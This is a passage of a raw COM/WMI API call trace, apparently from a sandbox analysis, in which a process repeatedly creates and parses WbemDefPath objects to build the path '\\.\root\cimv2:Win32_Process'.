riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0126.680] WbemDefPath:IUnknown:AddRef (This=0x1a980750) returned 0x3 [0126.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0126.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0126.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9ecb50) returned 0x0 [0126.680] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ecb50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.680] WbemDefPath:IUnknown:Release (This=0x1a9ecb50) returned 0x3 [0126.680] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0126.680] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0126.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0126.680] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x2 [0126.680] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x1 [0126.680] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0126.680] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0126.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980750) returned 0x0 [0126.681] WbemDefPath:IUnknown:AddRef (This=0x1a980750) returned 0x3 [0126.681] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x2 [0126.681] WbemDefPath:IWbemPath:SetText (This=0x1a980750, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980750, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetText (in: This=0x1a980750, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetText (in: This=0x1a980750, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0126.681] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a980690) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980750, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980750, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980750, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0126.681] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980690, uIndex=0x0, pszName="ROOT") returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980750, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980750, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0126.681] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980690, uIndex=0x1, pszName="CIMV2") returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a980690, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0126.681] WbemDefPath:IWbemPath:SetClassName (This=0x1a980690, Name="Win32_Process") returned 0x0 [0126.681] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980690, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980690, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0126.682] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0126.682] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0126.682] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0126.682] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0126.682] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.684] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1a9f5e10) returned 0x0 [0126.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f5e10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0126.685] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f5e10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1a980810) returned 0x0 [0126.685] WbemDefPath:IUnknown:Release (This=0x1a9f5e10) returned 0x0 [0126.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1a980810) returned 0x0 [0126.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0126.685] WbemDefPath:IUnknown:AddRef (This=0x1a980810) returned 0x3 [0126.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0126.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0126.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1a9f5e50) returned 0x0 [0126.685] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f5e50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.685] WbemDefPath:IUnknown:Release (This=0x1a9f5e50) returned 0x3 [0126.686] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0126.686] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0126.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0126.686] WbemDefPath:IUnknown:Release (This=0x1a980810) returned 0x2 [0126.686] WbemDefPath:IUnknown:Release (This=0x1a980810) returned 0x1 [0126.686] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0126.686] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0126.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980810, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1a980810) returned 0x0 [0126.686] WbemDefPath:IUnknown:AddRef (This=0x1a980810) returned 0x3 [0126.686] WbemDefPath:IUnknown:Release (This=0x1a980810) returned 0x2 [0126.686] WbemDefPath:IWbemPath:SetText (This=0x1a980810, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0126.686] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0126.686] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0126.686] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.686] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0126.686] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0126.686] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0126.686] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.688] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9f5e90) returned 0x0 [0126.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f5e90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0126.689] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f5e90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a9808d0) returned 0x0 [0126.689] WbemDefPath:IUnknown:Release (This=0x1a9f5e90) returned 0x0 [0126.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a9808d0) returned 0x0 [0126.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0126.689] WbemDefPath:IUnknown:AddRef (This=0x1a9808d0) returned 0x3 [0126.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0126.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0126.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9f5ed0) returned 0x0 [0126.689] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f5ed0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.689] WbemDefPath:IUnknown:Release (This=0x1a9f5ed0) returned 0x3 [0126.689] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0126.689] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0126.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0126.690] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x2 [0126.690] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x1 [0126.690] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0126.690] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0126.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a9808d0) returned 0x0 [0126.690] WbemDefPath:IUnknown:AddRef (This=0x1a9808d0) returned 0x3 [0126.690] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x2 [0126.690] WbemDefPath:IWbemPath:SetText (This=0x1a9808d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980810, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9808d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetText (in: This=0x1a9808d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetText (in: This=0x1a9808d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0126.690] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a980810) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9808d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0126.690] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980810, uIndex=0x0, pszName="root") returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0126.690] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980810, uIndex=0x1, pszName="cimv2") returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetServer (in: This=0x1a9808d0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetServer (in: This=0x1a9808d0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980810, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980810, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980810, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980810, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980810, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980810, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980810, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a980810, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 